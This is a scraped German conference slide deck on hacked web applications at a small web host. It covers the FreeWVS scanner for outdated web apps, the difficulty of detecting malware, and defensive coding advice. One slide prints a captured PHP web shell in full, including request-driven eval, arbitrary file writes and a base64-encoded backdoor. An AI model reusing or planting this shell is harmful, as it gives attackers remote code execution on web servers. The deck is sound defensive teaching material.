Gehackte Webapplikationen und Malware Hanno B ock, Lizenz: CC0 / - - PowerPoint PPT Presentation

gehackte webapplikationen und malware
SMART_READER_LITE
LIVE PREVIEW

Gehackte Webapplikationen und Malware Hanno B ock, Lizenz: CC0 / - - PowerPoint PPT Presentation

Einleitung FreeWVS Gehackt Exkurs Ende Gehackte Webapplikationen und Malware Hanno B ock, Lizenz: CC0 / Public Domain 2014-04-11 Hanno B ock, Lizenz: CC0 / Public Domain Gehackte Webapplikationen und Malware Einleitung Vorstellung


slide-1
SLIDE 1

Einleitung FreeWVS Gehackt Exkurs Ende

Gehackte Webapplikationen und Malware

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

2014-04-11

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-2
SLIDE 2

Einleitung FreeWVS Gehackt Exkurs Ende Vorstellung Beispiel Motivation Veraltete Webanwendungen

◮ Betreibe kleinen Webhoster (schokokeks.org), Fokus auf

Datenschutz, Sicherheit, freie Software

◮ Zahlen: 2 Admins, ca. 300 Kunden, 1000 Domains, 1500

Web-Vhosts, 500 erkannte Webanwendungen

◮ Serverbetrieb f¨

ur mich Nebenverdienst, hauptberuflich freier Journalist

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-3
SLIDE 3

Einleitung FreeWVS Gehackt Exkurs Ende Vorstellung Beispiel Motivation Veraltete Webanwendungen

Your IP: x.x.x.x - Part of Ababil/”No Problem Bro” DDOS attack We are contacting you on behalf of [...]. They are currently under a DDOS attack, that is being perpetuated from this host on your network: x.x.x.x They have so far seen this much traffic coming from the node: 107576316 bytes 1453734 packets This is part of the Operation Ababil, or ”It’s OK, No Problem Bro”, DDOS attack that is being sent upon various financial institutions in the United States.

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-4
SLIDE 4

Einleitung FreeWVS Gehackt Exkurs Ende Vorstellung Beispiel Motivation Veraltete Webanwendungen

◮ Gehackte Webanwendungen bedeuten Streß - nicht nur f¨

ur den Betreiber der Seite, sondern insbesondere auch f¨ ur den Admin

◮ Serverlast steigt unerkl¨

arlich

◮ Spam-Blacklisten ◮ ¨

Ubergeordneter Provider beschwert sich und erwartet Reaktion

◮ Strafverfolgungsbeh¨

  • rden (bei uns noch nie passiert)

◮ Brauchen Strategien f¨

ur ganzen Server, nicht f¨ ur einzelne Webseiten

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-5
SLIDE 5

Einleitung FreeWVS Gehackt Exkurs Ende Vorstellung Beispiel Motivation Veraltete Webanwendungen

◮ Konkretes Beispiel war ein Joomla 1.7.0, damals ca. 1 Jahr alt ◮ Derartige Vorkommnisse verst¨

arkt seit etwa 2012, davor fast nie

◮ Alle(!) derartigen Ereignisse bei uns mit hoher

Wahrscheinlichkeit aufgrund von veralteten Webanwendungen

◮ Fazit: Updaten bevor etwas passiert ist die beste Strategie

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-6
SLIDE 6

Einleitung FreeWVS Gehackt Exkurs Ende FreeWVS Schwierigkeiten beim Erkennen User informieren Entwicklung von FreeWVS Problem Webseiten heute

◮ FreeWVS erkennt Webanwendungen und Version auf

Dateisystemebene

◮ Enth¨

alt eine Datenbank mit jeweils letzter Sicherheitsl¨ ucke (wenn m¨

  • glich CVE, sonst URL) und sicherer Version

◮ Unterscheidet nicht nach schwere der Sicherheitsl¨

ucke, betrachtet nur jeweils j¨ ungstes Problem

◮ Python, freie Software (CC0) ◮ https://source.schokokeks.org/freewvs/

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-7
SLIDE 7

Einleitung FreeWVS Gehackt Exkurs Ende FreeWVS Schwierigkeiten beim Erkennen User informieren Entwicklung von FreeWVS Problem Webseiten heute

◮ Es gibt keine allgemeing¨

ultige Strategie zum Erkennen von Webapps

◮ Versionsnummer nicht im Tarball, nur in Doku, nur gesplittet ◮ Seltsame Versionsnummernkonzepte (DokuWiki: 2013-12-08,

auch schon gesehen: 1.2 neuer als 1.11)

◮ Oft unterschiedliche Erkennungsstrategien f¨

ur unterschiedliche Major-Versionen

◮ Angenehm ist sowas: $wp version = ’3.8.2’;

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-8
SLIDE 8

Einleitung FreeWVS Gehackt Exkurs Ende FreeWVS Schwierigkeiten beim Erkennen User informieren Entwicklung von FreeWVS Problem Webseiten heute

◮ User k¨

  • nnen sich wahlweise t¨

aglich, w¨

  • chentlich oder

monatlich informieren lassen

◮ Nicht abschaltbar! ◮ Problem: Wird h¨

aufig ignoriert

◮ Vielen Usern nicht klar dass Webanwendungen betreut werden

m¨ ussen

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-9
SLIDE 9

Einleitung FreeWVS Gehackt Exkurs Ende FreeWVS Schwierigkeiten beim Erkennen User informieren Entwicklung von FreeWVS Problem Webseiten heute

◮ Bislang fast nur intern entwickelt, wenig Feedback von extern ◮ Update-Mechanismus nicht optimal (im Moment: svn up;

make install)

◮ K¨

  • nnten viel mehr Webanwendungen aufnehmen,

insbesondere Plugins

◮ Patches welcome!

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-10
SLIDE 10

Einleitung FreeWVS Gehackt Exkurs Ende FreeWVS Schwierigkeiten beim Erkennen User informieren Entwicklung von FreeWVS Problem Webseiten heute

◮ Fr¨

uher: Webdesigner erstellt HTML-Seite

◮ Zwischendurch: Webdesigner erstellt PHP ◮ Heute: Webdesigner erstellt Theme f¨

ur einfach zu bedienende, kostenlose Webanwendungen

◮ Problem: Wer k¨

ummert sich um Updates? Oft: Niemand

◮ L¨

  • sung manchmal: HTML-Dump von CMS

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-11
SLIDE 11

Einleitung FreeWVS Gehackt Exkurs Ende Wenn es zu sp¨ at ist PHP-Shell Von Hand erkennen Malware erkennen Offene Fragen

◮ Bei uns bislang keine Defacements via SQL-Injection oder

geklauten Zugangsdaten beobachtet (wir benutzen schon immer SFTP)

◮ Nur: Spam, DDoS-Attacken und (am h¨

aufigsten) abgelegte PHP-Shells

◮ Oft: Grund f¨

ur Angriff unklar, PHP-Shell ”f¨ ur sp¨ ater”

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-12
SLIDE 12

Einleitung FreeWVS Gehackt Exkurs Ende Wenn es zu sp¨ at ist PHP-Shell Von Hand erkennen Malware erkennen Offene Fragen

$huqcyw = ”777564599393bc96823bdf64b6f221d5”; if(isset($ REQUEST[’epji’])) { $kumwnkyc = $ REQUEST[’epji’]; eval($kumwnkyc); exit(); } if(isset($ REQUEST[’qfwdstnd’])) { $rpjvrsf = $ REQUEST[’wuefsoa’]; $kopi = $ REQUEST[’qfwdstnd’]; $mzwjcpc = fopen($kopi, ’w’); $sshhbcz = fwrite($mzwjcpc, $rpjvrsf); fclose($mzwjcpc); echo $sshhbcz; exit(); eval ( base64 decode (”IGlmICggaXNz- ZXQoICRfQ09PS0lFWydkd2MnXSkgKSB7IGVjaG8gJzxjd2Q+ JyAuIGdldGN3ZCgpIC4gJzwvY3dkPic7IH0gaWYgKCBpc3Nld CAoICRfUE9TVFsncGU4MCddICkgKSB7IGV2YWwgKCBiYXNlNj RfZGVjb2RlICggJF9QT1NUWydwZTgwJ10gKSApOyByZXR1cm4 7IH0gIGlmICggaXNzZXQoICRfQ09PS0lFWydwZTgwJ10pICkg eyBldmFsICggYmFzZTY0X2RlY29kZSAoICRfQ09PS0lFWydwZ TgwJ10gKSApOyByZXR1cm47IH0g”) ); }

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-13
SLIDE 13

Einleitung FreeWVS Gehackt Exkurs Ende Wenn es zu sp¨ at ist PHP-Shell Von Hand erkennen Malware erkennen Offene Fragen

◮ Kombinationen aus eval, gzinflate, base64 decode und

¨ ahnlichem

◮ Problem: Oft auch sowas in legitimem PHP-Code (oft

Themes) als Code-Obfuscation

◮ Decodieren: eval durch echo ersetzen

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-14
SLIDE 14

Einleitung FreeWVS Gehackt Exkurs Ende Wenn es zu sp¨ at ist PHP-Shell Von Hand erkennen Malware erkennen Offene Fragen

◮ Webroots mit ClamAV scannen - erkennt viel, aber l¨

angst nicht alles

◮ LinuxMalwareDetect (maldet) - etwas umst¨

andlich in der Bedienung, aber erkennt einiges

◮ Auch einige propriet¨

are Virenscanner f¨ ur Linux verf¨ ugbar, kostenlos meist nur zum privatgebrauch

◮ Problem: Erkennungsrate praktisch immer unter 50 % ◮ Erstes Codebeispiel von vorhin: damals 0 auf Virustotal, jetzt

1/51

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-15
SLIDE 15

Einleitung FreeWVS Gehackt Exkurs Ende Wenn es zu sp¨ at ist PHP-Shell Von Hand erkennen Malware erkennen Offene Fragen

◮ Strategien zur generischen Erkennung von PHP-Shells? Sollte

nicht zu schwer sein, kenne aber keine Software.

◮ Wie / an wen Malware am besten reporten? ◮ Erkennen von Hacks in Form von Datenbankeintr¨

agen / Artikeln / Defacements?

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-16
SLIDE 16

Einleitung FreeWVS Gehackt Exkurs Ende Sichere Webanwendungen

◮ Wenn ihr Webanwendungen programmiert: Benutzt Prepared

Statements und Content Security Policy!

◮ Konsequent eingesetzt verhindern Prepared Statements alle

SQL-Injections und Content Security Policy alle Cross Site Scripting-Fehler - Großteil aller Web-Vulnerabilities

◮ Fehlerklassen verhindern statt einzelne Fehler ◮ Aber: H¨

atte in meisten F¨ allen bei uns vermutlich nichts gen¨ utzt (Probleme mit File Upload oder Remote Code Execution)

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware

slide-17
SLIDE 17

Einleitung FreeWVS Gehackt Exkurs Ende Schlussfolgerung

◮ Ein Großteil der Angriffe l¨

asst sich durch aktuelle Software verhindern

◮ Angriffe verhindern ist immer besser als Angriffe sp¨

ater erkennen

◮ M¨

  • glichkeiten angegriffene Webseiten zu finden unzuverl¨

assig und unbefriedigend

Hanno B¨

  • ck, Lizenz: CC0 / Public Domain

Gehackte Webapplikationen und Malware